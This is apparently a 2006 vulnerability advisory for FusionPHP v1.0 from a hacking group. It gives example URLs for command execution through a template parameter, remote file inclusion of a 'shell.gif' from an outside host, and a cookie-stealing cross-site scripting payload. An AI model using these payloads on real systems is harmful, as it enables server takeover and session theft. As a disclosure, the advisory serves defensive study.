###########################################################################<br># Advisory #8 Title: FusionPHP Multiple Vulnerabilities<br># <br># <br># Author: 0o_zeus_o0<br># Contact: <a href="mailto:zeus@diosdelared.com">
zeus@diosdelared.com</a><br># Website: <a href="http://www.elitemexico.org">www.elitemexico.org</a><br># Date: 01/03/2006<br># Risk: High <br># Vendor Url: <a href="http://fusionphp.net/forums/">http://fusionphp.net/forums/
</a><br># Affected Software: FusionPHP<br># Non Affected: <br># <br># We Are: olimpus klan team <br>#<br>#Info:<br>#================================================================<br>#this system contains three bugs of high risk for usuary the robbery of cookie
<br>#<br>#(it allows the robbery of identity of some user), the filtration of remote archives<br>#<br>#(it allows the entrance of remote archives to the servant where is the system affecting),<br>#<br>#execution of commandos (this Vulnerability allows the execution of commandos locally,
<br>#<br>#risking the information of the users) <br>#<br>#<br>#Example Command Execution: <br>#================================================================<br>#<br>#http://www.example.com/[news]/templates/headline_temp.php?nst_cmd=ls -la
<br>#<br>#Example Remote File Inclusion: <br>#================================================================<br>#<br>#http://www.example.com/[news]/templates/headline_temp.php?nst_inc=<a href="http://www.example.com/shell.gif">
http://www.example.com/shell.gif</a>?<br>#<br>#Example Cross-Site Scripting: <br>#================================================================<br>#<br>#http://www.example.com/[news]/fullnews.php?id=<script>alert(
document.cookie);</script><br>#<br>#Solution:<br>#================================================================<br>#<br>#reported the vendor or in <a href="http://elitemexico.org">elitemexico.org</a><br>#<br>#<br>
#VULNERABLE VERSIONS<br>#================================================================<br>#v1.0 Other versions may also be affected.<br>#<br>#================================================================<br>#Contact information
<br>#0o_zeus_o0<br>#zeus@<a href="http://diosdelared.com">diosdelared.com</a><br>#www.elitemexico.org<br>#================================================================<br>#greetz: lady fire,Mi beba, olimpus klan team and elitemexico
<br>##############################################################################